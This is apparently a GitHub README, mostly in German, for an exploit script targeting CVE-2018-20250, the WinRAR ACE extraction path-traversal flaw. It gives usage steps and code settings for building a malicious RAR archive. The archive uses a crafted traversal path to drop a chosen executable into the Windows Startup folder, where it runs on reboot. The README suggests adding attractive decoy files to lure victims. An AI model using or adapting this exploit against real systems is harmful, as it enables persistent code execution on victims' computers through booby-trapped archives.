aeolustf/cve-2018-20250Exploit-Skript für CVE-2018-20250, das automatisch bösartige RAR-Archive generiert, um über die WinRAR-ACE-Dateiextraktions-Schwachstelle Codeausführung zu erreichen.
exp für Codeausführung aus Winrar extrahieren
poc von Ridter
Wie verwendet man das?
Sie müssen nur Python 3.7 installieren, eine auszuführende bösartige Datei vorbereiten, die gewünschten Werte einstellen, dieses Exp-Skript wird die bösartige Archivdatei automatisch generieren!
... ...
# The archive filename you want
rar_filename = "test.rar"
# The evil file you want to run
evil_filename = "calc.exe"
# The decompression path you want, such shown below
target_filename = r"C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hi.exe"
# Other files to be displayed when the victim opens the winrar
# filename_list=[]
filename_list = ["hello.txt", "world.txt"]
... ...
def get_right_hdr_crc(filename):
# This command may be different, it depends on the your Python3 environment.
p = os.popen('py -3 acefile.py --headers %s'%(filename))
res = p.read()
pattern = re.compile('right_hdr_crc : 0x(.*?) | struct')
result = pattern.findall(res)
right_hdr_crc = result[0].upper()
return hex2raw4(right_hdr_crc)
... ...
Führen Sie das Exp aus, es generiert automatisch die test.rar
Wenn das Opfer die test.rar öffnet, wird es die Dateien hello.txt und world.txt sehen. Sie können auch weitere, attraktivere Dateien hinzufügen.
hi.exe, die eigentlich eine calc.exe ist. Beim Neustart des Computers wird die hi.exe ausgeführt.
Viel Spaß! :)